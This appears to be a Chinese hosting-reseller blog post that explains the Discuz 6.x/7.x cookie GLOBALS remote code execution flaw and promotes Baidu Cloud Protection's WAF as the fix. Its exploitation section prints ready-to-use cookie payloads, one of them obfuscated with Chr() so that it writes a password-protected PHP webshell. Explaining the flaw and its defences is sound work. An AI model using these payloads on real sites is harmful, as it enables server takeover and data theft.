一个存在了十几年的老漏洞,至今仍在大量Discuz论坛中潜伏。攻击者只需在Cookie中插入一段恶意代码,就能直接获取服务器权限——这就是Discuz 6.x/7.x的GLOBALS变量覆盖远程命令执行漏洞。今天咱们就来扒一扒这个漏洞的原理,以及如何用百度云防护WAF的基础规则轻松防住它。
一、 漏洞背景:经典论坛软件的陈年旧伤
Discuz! 作为国内最流行的论坛系统,6.x和7.x版本曾经占据了国内论坛市场的半壁江山。即便现在,仍有大量老站点在运行这些版本——要么是因为业务复杂不敢升级,要么是站长早已忘记服务器上还跑着这个老古董。
漏洞标识
- 漏洞名称:Discuz 6.x/7.x cookie GLOBALS变量覆盖远程命令执行漏洞
- 百度云防护规则ID:3213(从截图可见)
- 风险等级:中风险(但实际可导致服务器沦陷)
影响范围
- Discuz! 6.x 全系列
- Discuz! 7.x 全系列
- PHP 5.3.x及以上版本(使用默认配置)
二、 漏洞原理:PHP配置与Discuz代码的“完美配合”
这个漏洞的形成,是PHP配置变化和Discuz代码缺陷共同作用的结果。
2.1 Discuz的全局变量处理机制
在Discuz的include/common.inc.php中,有一段代码用于将GPC(GET/POST/COOKIE)变量注册为全局变量 :
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
这段代码的意思是:遍历$_COOKIE、$_POST、$_GET,将其中不以_开头的键名注册为全局变量,并对变量值调用daddslashes()函数进行过滤。
2.2 Discuz的防御措施
为了防止攻击者通过提交GLOBALS变量来覆盖全局变量,Discuz专门加了一段防御代码 :
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
这段代码检查$_REQUEST和$_FILES中是否存在GLOBALS,如果存在就直接终止程序。
2.3 漏洞核心:PHP 5.3的配置变化
问题出在$_REQUEST上。在PHP 5.3.x版本中,php.ini的request_order指令默认值为GP 。这意味着:
$_REQUEST只包含$_GET和$_POST的数据$_COOKIE中的数据不在$_REQUEST中!
于是,Discuz的防御代码虽然检查了$_REQUEST['GLOBALS'],但攻击者完全可以在Cookie中提交GLOBALS变量,完美绕过防御 。
2.4 触发位置:表情解析功能
在include/discuzcode.func.php中,有一段处理表情的代码 :
$message = preg_replace(
$GLOBALS['_DCACHE']['smilies']['searcharray'],
$GLOBALS['_DCACHE']['smilies']['replacearray'],
$message,
$maxsmilies
);
这里使用了preg_replace函数,而searcharray和replacearray都是从$GLOBALS中获取的。如果攻击者能控制这两个变量的值,就可以实现代码执行。
2.5 关键条件
preg_replace使用了/e修饰符(已废弃但老版本存在),会将替换后的字符串作为PHP代码执行- 论坛帖子或评论中必须包含表情(用于触发表情解析逻辑)
三、 漏洞利用:从Cookie到Webshell
攻击者只需要两步就能拿下服务器:
3.1 构造恶意Cookie
在Cookie中插入以下内容 :
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
当Discuz处理包含表情的帖子时,preg_replace会将/.*/eui作为正则表达式,phpinfo()作为替换内容,并由于/e修饰符的存在,直接执行phpinfo()。
3.2 写入一句话木马
更进一步的攻击者会写入Webshell :
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
这段经过编码的payload会在服务器根目录写入wf.php,密码为lalala,攻击者即可通过该文件任意执行系统命令。
四、 漏洞危害:服务器权限直接丢失
| 危害类型 | 具体后果 |
|---|---|
| 服务器控制权丢失 | 攻击者可执行任意系统命令,上传Webshell |
| 数据泄露 | 读取论坛数据库,获取用户密码、私信等敏感信息 |
| 网页篡改 | 植入赌博、色情等非法内容,导致网站被封 |
| 内网渗透 | 失陷服务器成为跳板,进一步攻击内网其他系统 |
| 持续后门 | 即使修复漏洞,已上传的后门可能仍潜伏在服务器中 |
五、 怎么防?三种方案对比
5.1 方案一:修改PHP配置(治本但需重启)
修改php.ini,将request_order设置为GPC,使$_REQUEST包含Cookie :
request_order = "GPC"
这样Discuz原有的$_REQUEST['GLOBALS']检查就能捕获到Cookie中的恶意数据,拦截攻击。
优点:从根本上解决问题
缺点:需要修改服务器配置并重启PHP,操作门槛较高
5.2 方案二:升级Discuz版本(治本但工程量大)
将Discuz升级到8.x或迁移到Discuz! X系列,这些版本已修复该漏洞。
优点:彻底修复,还能获得新功能
缺点:老插件可能不兼容,迁移成本高
5.3 方案三:部署WAF(快速有效,推荐)
最快捷、最省心的方案:部署Web应用防火墙(WAF),通过内置规则拦截攻击流量。
百度云防护WAF的基础Web防护引擎中,已内置该漏洞的防护规则(规则ID 3213)。当攻击者在Cookie中插入恶意payload时,WAF会识别出攻击特征并直接拦截,攻击流量根本到达不了你的服务器。
六、 为什么推荐百度云防护WAF?
从用户提供的截图可以看到,百度云防护的规则库中明确列出了“Discuz 6.x 7.x cookie GLOBALS变量覆盖远程命令执行漏洞”的防护规则。这说明百度安全团队早已将这个老漏洞纳入防护范围。
6.1 内置规则,开箱即用
百度云防护的基础Web防护引擎基于百度云安全AI分析能力,覆盖OWASP TOP 10常见安全威胁,以及各类CMS、论坛系统的已知漏洞 。像Discuz这个陈年老洞,规则早已内置,用户无需任何配置即可获得防护。
6.2 规则更新及时,覆盖0day
百度云安全团队7×24小时收集威胁情报,包括官方通告、安全BLOG、众测平台、第三方漏洞发布平台等,第一时间更新安全规则 。即使出现新的变种攻击,也能快速响应。
6.3 JA3指纹精准识别,误报率低
对于需要精确匹配漏洞特征的场景(如这个漏洞需要在Cookie中携带特定格式的payload),百度云防护的检测引擎误报率极低,不会影响正常用户访问。
6.4 套餐计费,用完即停,不怕欠费
最让站长安心的一点:百度云防护采用套餐制,用完即停,不会因为被攻击而产生天价后付费账单 。
七、 主机吧建议:别让老漏洞成为新隐患
Discuz 6.x/7.x虽然已是十几年前的版本,但仍有大量网站在运行。很多站长觉得“我的站小,没人盯上”,殊不知自动化扫描工具每天都在全网扫描,发现漏洞就自动植入后门。
对于还在运行老版本Discuz的站长,我的建议是:
- 先自查:查看论坛版本,如果是6.x/7.x,尽快修复或防护
- 临时缓解:修改
php.ini设置request_order=GPC - 长期方案:部署百度云防护WAF,用专业产品守住底线
从截图可见,百度云防护规则库中这条Discuz漏洞规则的存在,意味着你不需要懂漏洞原理、不需要改代码,只要接入WAF,就能获得防护。这正是专业安全产品的价值所在。
如果你还不确定自己的论坛是否存在这个漏洞,或者想为服务器加上一道可靠的防线,欢迎联系主机吧。我们提供免费安全评估和配置指导,帮你把这个陈年老洞填上。
主机吧 | 百度云防护官方合作伙伴
提供WAF接入、高防CDN、高防IP、SSL证书一站式服务
让每一个漏洞都无路可走,让每一台服务器都固若金汤。



